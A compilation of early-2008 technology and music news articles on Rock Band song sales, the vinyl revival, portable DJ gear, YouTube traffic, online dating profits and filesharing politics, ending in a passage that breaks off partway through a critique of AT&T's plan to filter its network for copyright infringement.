According to Nielsen SoundScan data, those same songs saw digital download sales spikes of 31 percent, 39 percent and 48 percent, respectively, for the month after they were featured as a "Rock Band" download, over the previous month.

But those increased sales numbered only in the hundreds, while the "Rock Band" downloads numbered in the hundreds of thousands. Still, label executives are thrilled with the results.

MTVN already has plans to expand its outreach to artists, creating additional game expansions -- as both physical products and downloadable content -- around specific music genres and even artists.

"We are talking to tons of bands, from indie to the most established ... to release not necessarily their entire catalog, but maybe some of their classic albums and do special packages around that," Toffler said.

What's more, there's no reason for "Guitar Hero" and "Rock Band" to be the only videogames that sell music. It's only a matter of time before other games begin offering new downloadable soundtracks as well.

Titles like the "Madden" football series, the Tony Hawk skateboarding franchise and the venerable "Grand Theft Auto" games are well known for their extensive soundtracks. Offering gamers the ability to replace their soundtracks every few months after the initial release is not only technically possible with today's new-generation consoles, but also on the horizon.

"That's certainly something we're interested in," Electronic Arts worldwide head of music Steve Schnur said earlier this month at the Consumer Electronics Show.
http://www.reuters.com/article/inter...34632220080120





Vinyl Gets Its Groove Back
Kristina Dell

From college dorm rooms to high school sleepovers, an all-but-extinct music medium has been showing up lately. And we don't mean CDs. Vinyl records, especially the full-length LPs that helped define the golden era of rock in the 1960s and '70s, are suddenly cool again. Some of the new fans are baby boomers nostalgic for their youth. But to the surprise and delight of music executives, increasing numbers of the iPod generation are also purchasing turntables (or dusting off Dad's), buying long-playing vinyl records and giving them a spin.

Like the comeback of Puma sneakers or vintage T shirts, vinyl's resurgence has benefited from its retro-rock aura. Many young listeners discovered LPs after they rifled through their parents' collections looking for oldies and found that they liked the warmer sound quality of records, the more elaborate album covers and liner notes that come with them, and the experience of putting one on and sharing it with friends, as opposed to plugging in some earbuds and listening alone. "Bad sound on an iPod has had an impact on a lot of people going back to vinyl," says David MacRunnel, a 15-year-old high school sophomore from Creve Coeur, Mo., who owns more than 1,000 records.

The music industry, hoping to find another revenue source that doesn't easily lend itself to illegal downloads, has happily jumped on the bandwagon. Contemporary artists like the Killers and Ryan Adams have begun issuing their new releases on vinyl in addition to the CD and MP3 formats. As an extra lure, many labels are including coupons for free audio downloads with their vinyl albums so that Generation Y music fans can get the best of both worlds: high-quality sound at home and iPod portability for the road. Also, vinyl's different shapes (hearts, triangles) and eye-catching designs (bright colors, sparkles) are created to appeal to a younger audience. While new records sell for about $14, used LPs go for as little as a penny--perfect for a teenager's budget--or as much as $2,400 for a collectible, autographed copy of Beck's Steve Threw Up.

Vinyl records are just a small scratch on the surface when it comes to total album sales--only about 0.2%, compared to 10% for digital downloads and 89.7% for CDs, according to Nielsen SoundScan--but these numbers may underrepresent the vinyl trend since they don't always include sales at smaller indie shops where vinyl does best. Still, 990,000 vinyl albums were sold in 2007, up 15.4% from the 858,000 units bought in 2006. Mike Dreese, CEO of Newbury Comics, a New England chain of independent music retailers that sells LPs and CDs, says his vinyl sales were up 37% last year, and Patrick Amory, general manager of indie label Matador Records, whose artists include Cat Power and the New Pornographers, claims, "We can't keep up with the demand."

Big players are starting to take notice too. "It's not a significant part of our business, but there is enough there for me to take someone and have half their time devoted to making vinyl a real business," says John Esposito, president and CEO of WEA Corp., the U.S. distribution company of Warner Music Group, which posted a 30% increase in LP sales last year. In October, Amazon.com introduced a vinyl-only store and increased its selection to 150,000 titles across 20 genres. Its biggest sellers? Alternative rock, followed by classic rock albums. "I'm not saying vinyl will become a mainstream format, just like gourmet eating is not going to take over from McDonald's," says Michael Fremer, senior contributing editor at Stereophile. "But there is a growing group of people who are going back to a high-resolution format." Here are some of the reasons they're doing it and why you might want to consider it:

Sound quality
LPs generally exhibit a warmer, more nuanced sound than CDs and digital downloads. MP3 files tend to produce tinnier notes, especially if compressed into a lower-resolution format that pares down the sonic information. "Most things sound better on vinyl, even with the crackles and pops and hisses," says MacRunnel, the young Missouri record collector.

Album extras
Large album covers with imaginative graphics, pullout photos (some even have full-size posters tucked in the sleeve) and liner notes are a big draw for young fans. "Alternative rock used to have 16-page booklets and album sleeves, but with iTunes there isn't anything collectible to show I own a piece of this artist," says Dreese of Newbury Comics. In a nod to modern technology, albums known as picture discs come with an image of the band or artist printed on the vinyl. "People who are used to CDs see the artwork and the colored vinyl, and they think it's really cool," says Jordan Yates, 15, a Nashville-based vinyl enthusiast. Some LP releases even come with bonus tracks not on the CD version, giving customers added value.

Social experience
Crowding around a record player to listen to a new album with friends, discussing the foldout photos, even getting up to flip over a record makes vinyl a more socially interactive way to enjoy music. "As far as a communal experience, like with family and friends, it feels better to listen to vinyl," says Jason Bini, 24, a recent graduate of Fordham University. "It's definitely more social."
http://www.time.com/time/magazine/ar...702369,00.html





For Disc Jockeys as Well as Desk Jockeys
Anne Eisenberg

IF you’ve always longed to be a disc jockey — or at least to play one on Saturday nights — some new, highly portable D.J. gear could bring that dream much closer.

Two new devices dispense entirely with the bulky turntables and CD players of traditional D.J. equipment. Instead, the new products are so compact that aspiring jam masters can put a D.J. rig in their pocket — or at least in a backpack — and head for the party, connect to the stereo system and rock the crowd.

One of the new players, the Pacemaker (520 euros, or about $760), created by a small Swedish company, Tonium, reduces the basic D.J. equipment of dual players and mixer to a device the size of a peanut-butter-and-jelly sandwich. The Pacemaker has a 120-gigabyte hard drive, fits in the palm of the hand, runs on batteries and has a built-in mixer to layer tunes seamlessly so the music never stops.

Tonium will begin shipping Pacemakers in February, said Ola Sars, sales and marketing director for the company, which is based in Stockholm. It will focus first on customers in the European Union, Japan and South Korea, and then on the United States. American consumers will be able to order through the Web site, www.pacemaker.net, in February, he said.

The Pacemaker lets the D.J. preview one track in the headphones while another song is playing for the audience through speakers. “You can select the second song, and then mix the songs together so one song goes into the next smoothly,” said Jonas Norberg, the chief executive of Tonium.

Mr. Norberg, an engineer and professional D.J., started working on the Pacemaker in 2005, hoping to shrink the common D.J. interface of C.D. players and mixer into something a bit larger than an iPod. He and his team have been working on it ever since.

“I wanted a PlayStation Portable for music,” he said.

Interested consumers won’t have to spend $760 to experiment with the Pacemaker. Tonium invited a test group to try out Pacemaker software on their Macs and PCs. Using this software, the group has been creating desktop D.J. mixes from music stored in digital files on computers, matching beats between one track and the next for smooth transitions and adding special effects like reverberation.

The software will be offered free to the public when the Pacemaker is released, Mr. Norberg said. He hopes that people will use the software to share mixes online, turning the Pacemaker site into a type of YouTube for D.J. fans. Mixes made on the Pacemaker can be uploaded to the site, just as those made on a computer can be downloaded to Pacemaker.

Tonium plans to make the Linux-based software on the Pacemaker public, so users can innovate and share their improvements with others, Mr. Sars said. One improvement the company is already planning is software to create the effects of scratching or touching and rocking a turntable.

Another mobile D.J. device comes from Numark Inc., a longtime maker of professional D.J. equipment. Called the iDJ2 (about $600), this lightweight mixing console has been on sale since September, and is available at Guitar Center stores and other locations. The iDJ2 has a docking station for an iPod; the D.J. can start one song from it, then line up another while using the headphones and then create the mix.

D.J.’s can carry along extra songs on another iPod or on a thumb drive or another U.S.B. storage device, then plug the devices into the iDJ2.

IPods are already beginning to replace CD players. Michael Holtz, a D.J. in Minneapolis who specializes in weddings, switched from dual CD players and a mixer to the iDJ2 in September. He is not the only one to make the change.

In 2006, consumers in the United States spent about $125 million on D.J.- specific hardware, said Brian Majeski, editor of Music Trades magazine in Englewood, N.J. Some $35 million of it was on CD players. But CD player sales are probably going to shrink.
“Instead of buying expensive CD players, people are starting to migrate to hard-drive devices, in many instances substituting an iPod for a CD machine,” he said. “The Numark iDJ2s have appeal both to consumers and mobile D.J.’s. You don’t need to haul as much stuff.”

The use of the iPod, often wielded by amateurs, has raised eyebrows among some professional D.J.’s. “It’s as though their guild is being infringed upon,” Mr. Majeski said.

If the Pacemaker catches on, this invasion may accelerate. But Dan Brotman, a Manhattan-based D.J. whose Web site, www.futuremusic.com, reports on new music technology, isn’t worried. “People looked down their noses when D.J.’s brought in CD players and computers instead of turntables and vinyl records,” he said, and now it is iPods that are scorned.

Slowly, though, this new stigma will fade. “If you are rocking the house,” he said, “who cares what equipment you are using?”
http://www.nytimes.com/2008/01/20/bu...novelties.html





Indie Filmmakers Can Score Moby Freebies
Tamara Conniff

Moby has been busy lately. The veteran dance music artist has a new publishing deal with Kobalt Music Group and a new album due out in the spring. He also recently launched an innovative Web site that gives his music away -- to the right people, of course.

Moby is licensing his music for free via mobygratis.com to help out indie and student filmmakers.

"I was a philosophy major and I had a minor in film," he says. "Ever since then, I've had a lot of friends in the world of independent and nonprofit film production. Their recurring complaint is that it's really difficult to license music for movies that have no budgets, so I thought I would start this Web site which very simply provides free music to nonprofit indie films."

The site offers 70 unreleased pieces of music. Moby says the music is "specifically designed" to be in films and would not be of interest to the general consumer. It also has been another creative outlet for him.

"I'm having fun and writing specific incidental pieces of music," he says. "I also have tons of music that I've made over the years that is more atmospheric or instrumental that would never find its way onto a record. So, selfishly, it's a way for me to find a home for music that otherwise would never get listened to."

Moby's double-platinum 1999 release "Play" is known as one of the most licensed albums ever. In hindsight, he admits to over-licensing.

"I probably should have been a little smarter in restricting some of the licenses," he says. "A lot of the people who criticized me for over-licensing 'Play' are now working in the licensing divisions of record companies. I think, if anything, I was a victim of doing too much too soon. Now everybody in the music business is desperate to license music.

"As record sales dwindle, the record labels will license anything and everything," he adds. "You have to make the right choices."

But there's plenty of Moby music that he won't be giving up for free. His new exclusive worldwide publishing deal with Kobalt includes all territories except France, Belgium, the Netherlands and Luxembourg. The deal includes administration of his album "Last Night" (Mute/EMI), due March 11, as well as global representation for film, TV, advertising, games and other media licensing.
http://www.hollywoodreporter.com/hr/...75eda4ecdc79a2





One Laptop Per Child Project Extends to American Students

OLPC America plans to combat digital divide by distributing low-cost laptops to needy students in the U.S.
Dan Nystedt

The One Laptop Per Child Project (OLPC) plans to launch OLPC America in 2008 to distribute the low-cost laptop computers originally aimed at developing nations to needy students in the United States.

The group, which was formed in the U.S. by teachers from the Massachusetts Institute of Technology (MIT), came under criticism shortly after forming because its original mission did not include the U.S.

Originally, the aim of OLPC was to develop a $100 laptop for kids in poor nations to ensure they don't miss out on the benefits of computing, and to make sure developing countries don't fall further and further behind modern nations due to their inability to buy computers, a conundrum commonly referred to as the digital divide.

OLPC America already has a director and a chairman, and will likely be based in Washington D.C., said Nicholas Negroponte, chairman of OLPC, in an interview.

"The whole thing is merging right now. It will be state-centric. We're trying to do it through the 50 state governments," he said.

The decision to launch OLPC America came about due to three considerations.

"For one thing, we are doing something patriotic, if you will, after all we are and there are poor children in America. The second thing we're doing is building a critical mass. The numbers are going to go up, people will make more software, it will steer a larger development community," Negroponte said.

The third reason is educational, so that children in the U.S. communicate with kids in developing nations and expand their horizons.

The reason OLPC had not included the U.S. in its low-cost laptop program was because of the huge difference in need, Negroponte said. In the U.S., people spend US$10,000 per year per child in primary education, but in Bangladesh, a developing country, they spend $20. It's a huge difference, and many people in the U.S. can afford more expensive laptop PCs for their kids anyway, he noted.

But although the U.S. was not the focus of OLPC in the beginning, it has always been in the plans.

"To have the United Sates be the only country that's not in the OLPC agenda would be kind of ridiculous," Negroponte said.
http://www.pcworld.com/article/id,14...s/article.html





Computer Chronicles, Retro Tech-TV Available on BitTorrent
Ernesto

Software piracy in the 80s, the early days of the Internet, the war between Netscape Communicator 4.0 and Internet Explorer 4.0, it was all covered by the Computer Chronicles. Invaluable, and most of the time hilarious historical documents, are now available for free on BitTorrent.

The Computer Chronicles is a US tv-series dedicated to technology and the personal computer, broadcasted from the early eighties until 2002.

One of my favorite episodes is the computer chronicles episode about computer piracy in the eighties, featuring Frankie Mouse, the Computer Pirate. In this episode Frankie explains what being a software pirate in 1985 is all about, while showing off with his cracked version of Apple II software.

The famous hacker John T Draper, also known as “Captain Crunch” also makes an appearance in this episode. Draper started hacking telephone lines in the early seventies, something he later taught Steve Jobs and Steve Wozniak even before they founded Apple.

The Computer Chronicles collection is available in Mininova’s featured content section. Different formats and direct download links are also available in the Internet archive.

Other highlights are:
The Hard Disk (1985)

During the mid eighties applications were getting more complicated and needed more disk space. This episode reviews some of the options, hard disk drives, Bernoulli boxes and tape streamers.

Video Game Consoles (1990)

An episode featuring groundbreaking games such as: “Defender of the Crown” on an IBM PC, “SimEarth” on Mac IIci, “Michael Jackson Moonwalker” on a Sega Genesis and “The Legend of Zelda” on a Nintendo.

The Internet (1993)

This episode includes a preview of the World Wide Web as used at NASA, an item about the first Internet radio station, and a visit to ARPA (Advanced Research Projects Agency) where it all began.

The Battle of the Browsers (1997)

An in depth look at some of the most sophisticated browsers in the late nineties: Netscape Communicator 4.0, Internet Explorer 4.0, VRML 2.0 and RealSystem 5.0. We know how this war ended.

Programming Languages

An episode showing off Microsoft’s Office 2000 Developer, LEGO Mindstorms RCX Code Developer, Macromedia Flash 3.0, and Metrowerks CodeWarrior. Also a special look inside Electronic Arts to see what they use to program their latest game WWII Fighters.
http://torrentfreak.com/computer-chr...orrent-080112/





YouTube’s Traffic Continues to Snowball
Miguel Helft

More content begets more viewers, which, in turn, beget more content. That’s the virtuous cycle — the network effect — that has propelled Google-owned YouTube to the No. 1 spot in online video.

Those network effects are helping YouTube outperform the growth of the overall market for online video, which itself is growing at a rapid clip. In September, Google sites accounted for 28.3 percent of all videos watched online, according to comScore. By November, Google’s share had grown by another 3 percentage points, to 31.3 percent, comScore said in a report Thursday. Google’s nearest rival, Fox Interactive Media, which includes MySpace, accounted for just 4.4 percent of the market.

Interestingly, the top 10 video sites accounted for less than half of all videos viewed online. That means people are watching video here, there and everywhere on the Web. And they’re doing so more every day.

During November, 138 million people, or about three-quarters of Internet users in the United States, watched on average 3 hours and 15 minutes of online video, or 45 minutes more than they watched in January. That’s still less than the amount of time average Americans spend in front of their TVs each day. But the data are likely to be skewed by the smaller number of people who watch online video “for absurd amounts of time,” said Josh Bernoff, an analyst with Forrester Research.

“If you are CBS, the fact that people are watching a few hours of online video a month is of some concern,” Mr. Bernoff said. “But if there is some member of your audience who is there for one or two hours a day, you’ve lost them. They are never coming back.”

Those that have been lost by TV are likely to be found on YouTube, where 74 million people watched 39 videos each on average in November, according to comScore.
http://bits.blogs.nytimes.com/2008/0...s-to-snowball/





Miro Gets Refreshed to Version 1.1, Bit Torrent Dramatically Improved
Jason Harris

The open source, cross-platform video platform, Miro, recently released version 1.1. The new update offers two main improvements. First, Miro has significantly improved BitTorrent performance by giving the user more control and settings for BitTorrent downloads. Miro's support of BitTorrent has always set itself apart from other media players with it's BitTorrent support and we're glad to see them enhancing this important feature.

Second, Miro 1.1 has made it easier to find the search results you're looking for by instituting a combined search across all 5 of their search engines. Users who want to only search the engines one at a time can still do so by choosing the engines they're most interested in seeing results from.

If you're not a user of Miro yet, we encourage you to take a look its way. Miro is a media viewing software package that allows you to view almost any video file format, search for and view YouTube videos, and access video podcasts via BitTorrent. Additionally, Miro is an open source video platform that lacks any DRM and allows unrestricted viewing of their materials. Also, they Miro takes pride in it's selection of HD content.
http://www.downloadsquad.com/2008/01...matically-imp/





From 10 Hours a Week, $10 Million a Year
Randall Stross

MARKUS FRIND, a 29-year-old Web entrepreneur, has not read the best seller “The 4-Hour Workweek” — in fact, he had not heard of it when asked last week — but his face could go on the book’s cover. He developed software for his online dating site, Plenty of Fish, that operates almost completely on autopilot, leaving Mr. Frind plenty of free time. On average, he puts in about a 10-hour workweek.

For anyone inclined to daydream about a Web business that would all but run itself, two other details may be of interest: Mr. Frind operates the business out of his apartment in Vancouver, British Columbia, and he says he has net profits of about $10 million a year. Given his site’s profitable advertising mix and independently verified traffic volume, the figure sounds about right.

There’s much to be admired in Mr. Frind’s entrepreneurial success. But his site, now almost five years old, has some unfinished patches and irritating quirks and seems to come from the Anti-Perfectionist School of Design.

Mr. Frind built the Plenty of Fish Web site in 2003 as nothing more than an exercise to help teach himself a new programming language, ASP.NET. The site first became popular among English-speaking Canadians. Popularity among online daters in many United States cities followed more recently, and with minimal spending on advertising the site. According to data from comScore Media Metrix for November 2007, Plenty of Fish had 1.4 million unique visitors in the United States. In December, Mr. Frind said, the site served up 1.2 billion page views, and page views have soared 20 percent since Dec. 26.

Spending time at Plenty of Fish is a visually painful experience. Wherever a row of members’ photos is displayed, which is most pages, many of the faces are elongated or scrunched because Mr. Frind has not taken the trouble to write the software code that would automatically resize frames or crop photos to prevent distortion. When I asked him why he had not addressed the problem, he said it was a “trivial” issue that did not bother users.

A blasé attitude is understandable, given that Plenty of Fish doubled the number of registered customers this past year, to 600,000, Mr. Frind said, despite the fact that each month it purges 30 percent of users for being inactive. Somehow, the site instantly replenishes the lost customers and attracts many more to boot.

No one heads to Plenty of Fish for the customer service, which is all but nonexistent. The company does not need a support structure to handle members’ subscription and billing issues because the service is entirely advertising-based. Its tagline is: “100 percent free. Put away your credit card.” For hand-holding, users must rely on fellow members, whose advice is found in online forums. The Dating & Love Advice category lists more than 320,000 posts, making up in sheer quantity what it lacks in a soothing live presence available by phone.

The principal customer service that Plenty of Fish provides is responses to complaints about possibly fraudulent identities and to subpoenas and search-warrant requests. Last year, Mr. Frind hired his first, and still only, employee to handle these requests, freeing him to attend to adding new servers when required and tweaking code. “Most of the time, I don’t need to do anything,” he said.

To keep his site’s forums free of spam, Mr. Frind has refined a formula for analyzing customer feedback and arriving at a determination of whether a given forum post is spam and should automatically be deleted. He has also devised some new software twists that enable him to offload work to his customers, letting users review the photos that are uploaded to the site.

Mr. Frind says that close to 50,000 new photos come in every day, each one of which needs to be checked to verify that it is an actual person and that it does not not contain nudity. The work would be costly if Mr. Frind relied on a paid staff to do it.

Fortunately for him, there seems to be an inexhaustible supply of humans eager to look at pictures of other humans, and Mr. Frind taps his customers to carry out the reviewing, gratis. Some have made it their principal pastime. Among Plenty of Fish’s volunteers were 120 who last year evaluated more than 100,000 images each. He explains his volunteers’ enthusiasm for the work as an expression of gratitude: “Lots of people feel like they want to give back to the site because it’s free.”

Plenty of Fish displays banner ads, Google-supplied ads and, most profitable of all, “affiliate” marketing links that send users to other dating sites. For example, Mr. Frind said, when one of his customers clicks on an advertisement for a book titled “Double Your Dating” and, after being sent to the publisher’s Web site, ends up buying it for $40, the publisher pays Plenty of Fish a commission — of $40 — for the sale, glad to have landed a customer that past experience shows is a good prospect for “upselling” other goods and services related to dating.

For all that Mr. Frind has accomplished, his site looks puny when compared with Craigslist, which has built a mighty automation engine tended by only a handful of people. Craigslist’s personals draw about six million unique visitors a month, more than any other dating site, and its listings for all categories generate 10 billion page views a month. It covers 450 localities in 50 countries around the world — with only 25 employees. It is among the top 10 busiest English-language sites, but the customers who enjoy its free listings, like Plenty of Fish’s, must serve themselves or seek assistance from others. “Anything that represents customer hand-holding represents a failure of site design,” said Jim Buckmaster, Craigslist’s chief executive. “We try to make changes to the site to make the problem go away.”

BOTH Plenty of Fish and Craigslist have created sites that run almost completely on their own, but in different ways. Craigslist has no commercial messages other than listings, and it collects fees only for a minuscule slice of its posts. It charges employers for jobs listings in 10 of its 450 cities, and brokers for apartment listings in New York City. All other listings are free. “To most of our users,” Mr. Buckmaster said, “it’s a mystery how we make money.”

At Plenty of Fish, there is no mystery: a large square of advertising sits in the middle of most profile pages. Its success demonstrates that many consumers will tolerate, and even embrace, advertising when a site offers a free service for which others charge membership fees.

Mr. Frind has found that rare business in which the profits gush in, whether or not he leaves his hammock.
http://www.nytimes.com/2008/01/13/business/13digi.html





European Politicians Launch Pro-Filesharing Campaign
Ernesto

Greens EFA, a coalition of two political parties that currently have 42 seats in the European parliament, have launched a pro-filesharing campaign named “I Wouldn’t Steal”. Their goal is to counter the anti-piracy propaganda put forward by the entertainment industry, and encourage people to download and share.

The message put forward by the parties is pretty strong: “Whenever you rent a movie, the multinational media industry forces you to watch their propaganda. They claim that downloading movies is the same as snatching bags, stealing cars or shoplifting. That’s simply not true – making a copy is fundamentally different from stealing.”

Greens EFA claim that the entertainment industry exploits artists and sell propaganda, and want to make the public aware of this. We couldn’t agree more of course, and it is good to see that these established political parties are attempting to decriminalize filesharing. As they write: “The media industry has failed to offer viable legal alternatives and they will fail to convince consumers that sharing equals stealing. Unfortunately, they have succeeded in another area – lobbying to adapt laws to criminalize sharing, turning consumers into criminals.”

In collaboration with RåFILM the parties created a short clip for the campaign. which they made available on BitTorrent by uploading it to The Pirate Bay. It’s beginning to look like things are finally starting to change, politicians are not scared anymore to embrace BitTorrent sites such as The Pirate Bay, and stand up for people’s right to share culture.

The Pirate Bay is of course delighted by the campaign and even updated the logo on their frontpage to show their support. Pirate Bay’s Brokep told TorrentFreak: “I love that there are smart people that understand how the world works and I’m gonna support them with whatever means I can”.

Let’s hope the entertainment industry is paying attention as well.
http://torrentfreak.com/politicians-...mpaign-080119/





News From The North
TankGirl




Pirate leader Falkvinge: "Our enemy has no intellectual capital to bring to the battle"

In this special interview Rick Falkvinge, the founder and the leader of Swedish Pirate Party, gives his own views on the wildly heated political filesharing debate in Sweden, evaluates the political and technological prospects of P2P and talks about the dangers of citizen surveillance and Big Brother society.

Filesharing debate

Q: In last couple of months the copyright debate in Sweden seems to have got hotter than ever before, and especially the emergence of the reformist group within Moderate Party makes the situation look like the beginning of a 'final battle' before the legalization of filesharing. How do you read the situation? Is it possible that Reinfeldt government could actually end up assuming the reformist position and decriminalizing filesharing, or is it too otimistic to expect this to happen before your 2010 elections?

Rick Falkvinge: Gandhi once said something that has become a famous quote:

"First they ignore you, then they laugh at you, then they fight you, then you win."

I interpret the current situation as a definite shift to phase three. That mainstream existing MPs for the largest party in government pick up and fight for our ideas is a huge legitimizer. Our ideas are not out on the fringe, we were just a little bit ahead of time.

What was remarkable was that this was the point where the enemy - forces that want to lock down culture and knowledge at the cost of total surveillance - realized they were under a serious attack, and mounted every piece of defense they could muster. For the first time, we saw everything they could bring to the battle.

And it was... nothing. Not even a fizzle. All they can say is "thief, we have our rights, we want our rights, nothing must change, we want more money, thief, thief, thief". And shove some poor artists in front of them to deliver the message. Whereas we are talking about scarcity vs. abundance, monopolies, the nature of property, 500-year historical perspectives on culture and knowledge, incentive structures, economic theory, disruptive technologies, etc. The difference in intellectual levels between the sides is astounding.

So now we know what the enemy has, and that they have absolutely nothing in terms of intellectual capital to bring to the battle. They do, however, have their bedside connections with the current establishment. That's the major threat to us at this point.
However, I don't see the established parties picking up understanding at the necessary level just yet. Some parties advocate legalized downloading with uploading still being criminal, which is a clear sign they have not understood the current structural changes to society in the slightest, but just have a hunch that something needs to be done. Of course, that is good in itself, but not enough.

Karl Sigfrid's own party, the Moderates, are technophobically luddite to the brink of the Stone Age as the official party line. Even though MPs in this party were the first to understand the issue thoroughly, I don't see their party line changing before the next election.

What Karl Sigfrid et consortes have accomplished, though, is to make sure that this is going to be a major issue in the 2010 parliamentary elections, possibly even the 2009 European elections. That's exactly what we want. We want as many as possible to reflect over the issue, discuss it, and try to understand what is happening, and realize it's important - more important than petty squabbles over, say, day care benefits. The more that do, the more we win.

And the more we win - both in terms of the idea and support for the Pirate Party - the more pressure on established politicians.

Global IPR revolution

Q: During your US speech tour last summer you came up with the idea of global IPR revolution starting in Sweden, then spreading to other European countries and from there to the whole world. Things seem to be so far on the track for your plan. How do you see the global situation yourself? Which countries and forces do you consider as biggest threats to this positive development you have envisioned? Any encouraging developments outside Sweden that you would like to mention?

Rick Falkvinge: What politicians at all levels have not understood is that the enemy is working internationally. If they get a victory in one country, their forces in every other country points there as a positive example and whine that they don't have the same advantages where they live.

For instance, France recently introduced a bill which would cut off Internet access for file sharers. This is one example of a draconian Orwellian measure that makes IFPI's and MPA's mouths water. The European Commission, frequently courted by the enemy, has not been given the time or opportunity to reflect on the situation as a whole - and so keep pushing for more draconian measures too, with European-wide DRM as the latest profound stupidity.

Sweden was a little bit ahead of its neighbors in terms of high-speed broadband penetration; I had 10/10 Mbit in 1998 and 100/100 today, neither of which is remarkable. When you give technology to the people, they discover what it can be used for. Whether this is the cause of Sweden's being ahead or not can be discussed, but I honestly see Sweden as leading the fight for free file sharing. When I speak to reporters abroad, I always get the question "with your proposal, how will the artists get paid?". I almost never get that at home anymore.

So in my experience, positive developments originate in Sweden and radiate outward, mostly underground at first. There is some significant intellecta in Silicon Valley about the situation, but they are not able to pressure politicians under the US' political system like we are.

I'll also quite selfishly take the opportunity to ask people to help us out financially. We have a program where you can donate a small amount every month through PayPal; every penny of steady income helps us spread the ideas, educate more politicians, and dropkick the existing establishment. See our donation page.

Remember, all of us do this in our spare time.

Privacy, integrity and P2P technology

Q: Lately you have started increasingly to pay attention to the issues of privacy and personal integrity. In the filesharing debate it seems that the personal integrity issue alone is a strong enough argument to justify the legalization of filesharing. If we assume that mainstream anonymizing p2p is just a few years away, nothing apart from a totalitarian control state and intrusive surveillance of home computers would make it possible to enforce copyrights in online communications. Do you share this view?

Rick Falkvinge: I do. The people who have been led to believe that file sharing can be stopped with minimal intrusion are basically smoking crack.

Early on in the debate, we dropped the economic arguments altogether and focused entirely on civil liberties and the right to privacy. This has proven to be a winning strategy, with my keynote "Copyright Regime vs. Civil Liberties" being praised as groundbreaking.

The economic arguments are strong, but debatable. There are as many reports as there are interests in copyright, and every report arrives at a new conclusion. If you just shout and throw reports over the volleyball net at the other team, it becomes a matter of credibility of the reports. When you switch to arguing civil liberties, you dropkick that entire discussion.

Anyway, anonymous encrypted P2P is just a few years off (and encrypted BitTorrent is already becoming ubiquitous). More interestingly, our cellphones are increasing in capacity dramatically. When P2P debuted with Napster in 2000, the average hard drive was the same size as my cell phone memory is today. Using technology already available, BlueTooth 2, I can share content from my cellphone anonymously - say, in a café or so. This will probably just accelerate, with cellphones being more and more capable, holding more and more data, and opening up to customized applications. I'm betting that a P2P app operating on Bluetooth is not far off for the iPhone, for example. Imagine the anonymous sharing that will happen in the background just on the average subway train! The possibilities are very, very encouraging.

File sharing will find new ways - any measure to stop it will be ineffective the instant it is in place.

In short, you cannot stop file sharing with any less than undoing digital communications and/or monitoring all of it. The Internet was created as the world's largest copying machine, as the makers of Steal This Film II put it so succinctly. File sharing happens simply because it is possible, as sharing knowledge and culture has always been, although with different media.

What really upsets me, though, is how politicians are humming along with the copyright industry's every demand. The industry lobby is just doing their job, basically: demanding better conditions for their industry, at the expense of other parts of society. It is the politicians which have failed abysmally at understanding the big picture of their demands.

Big Brother society

Q: Apart from filesharing, there seems to be a strong worldwide political pressure to implement various surveillance state infrastructures pushed forward with the antiterrorism arguments. The Swedish parliament seems to be no exception to this. Why do you think the politicians around Europe are accepting this dangerous development so easily, despite the historically recent experiences from East Germany's Stasi etc.? What makes them so blind to the risks of Big Brother state? Is Europe still suffering from terrorism hysteria or is there something else going on here? For example in Sweden, Piratpartiet seems to be the lone political force even worried about the hasty establishment of an Orwellian society. What could be done to counteract this development?

Rick Falkvinge: This is true, and it has me seriously worried. Not only are politicians implementing a big brother state, they are also confusing and joining the government interests with those of large corporations.

Now, remember the lexical definition of fascism: fascism n. a merging of corporate and government interests, typically adjoined with a drastic curtailment of civil liberties.

We know exactly where this road leads, for we have seen many walk it before us. And while each step can seem convincing, we know what the endpoint is.

Each step is usually justified by "efficient law enforcement". This is deceptive - for who would stand against a bill and demand INEFFICIENT law enforcement? In reality, it is a shift of power from citizens and civil liberties to law enforcement. There have been plenty of governments, historical and contemporary, where efficient law enforcement has been a priority: East Germany, Soviet Union, Cuba, North Korea, Pinochet's Chile, etc. The question that needs to be asked is if it's worth having that efficient a law enforcement, or if something else is lost on the way?

When the Iron Curtain fell, all of the West rejoiced that the East would become just as free as the West. It was never supposed to be the other way around.

What we can do is talk to one another about what is happening. The Swedish administration has been purposely deceptive and secretive about all new orwellian measures. There even exists a law proposal for the Police to take over people's home computers, allowing them to monitor nonsuspects using
their own web cameras.

In the 1960's, there were dystopic movies about a big brother future where the government had installed cameras in every home. Now we're almost there. The only difference is that we bought the cameras ourselves.

A mass surveillance proposal for wiretapping every communication crossing the country's border was introduced in 2005, then retracted because - get this - it had received too much attention. It was reintroduced by the new administration and is pending a new vote this summer.

In summary, secrecy, fear and deception is the administration's friend in introducing the Big Brother state. What we can do about it is counteract that - which is as simple, and hard, as talking about it. Being vigilant about finding out new bills, new proposals, and talking about them with our friends, our colleagues, and in forums. Break the secrecy and tear down the veil. After all, politicians desire to get re-elected.

And nothing works better to get their attention than threatening that power base, as I discovered when I founded the Pirate Party.




This interview is Public Domain. You can freely copy its text to news stories, blogs, websites or wherever you wish.
http://www.p2p-zone.com/underground/...133#post260133





Has AT&T Lost Its Mind?

A baffling proposal to filter the Internet.
Tim Wu

Chances are that as you read this article, it is passing over part of AT&T's network. That matters, because last week AT&T announced that it is seriously considering plans to examine all the traffic it carries for potential violations of U.S. intellectual property laws. The prospect of AT&T, already accused of spying on our telephone calls, now scanning every e-mail and download for outlawed content is way too totalitarian for my tastes. But the bizarre twist is that the proposal is such a bad idea that it would be not just a disservice to the public but probably a disaster for AT&T itself. If I were a shareholder, I'd want to know one thing: Has AT&T, after 122 years in business, simply lost its mind?

No one knows exactly what AT&T is proposing to build. But if the company means what it says, we're looking at the beginnings of a private police state. That may sound like hyperbole, but what else do you call a system designed to monitor millions of people's Internet consumption? That's not just Orwellian; that's Orwell.

The puzzle is how AT&T thinks that its proposal is anything other than corporate seppuku. First, should these proposals be adopted, my heart goes out to AT&T's customer relations staff. Exactly what counts as copyright infringement can be a tough question for a Supreme Court justice, let alone whatever program AT&T writes to detect copyright infringement. Inevitably, AT&T will block legitimate materials (say, home videos it mistakes for Hollywood) and let some piracy through. Its filters will also inescapably degrade network performance. The filter AT&T will really need will be the one that blocks the giant flood of complaints and termination-of-service notices coming its way.

But the most serious problems for AT&T may be legal. Since the beginnings of the phone system, carriers have always wanted to avoid liability for what happens on their lines, be it a bank robbery or someone's divorce. Hence the grand bargain of common carriage: The Bell company carried all conversations equally, and in exchange bore no liability for what people used the phone for. Fair deal.

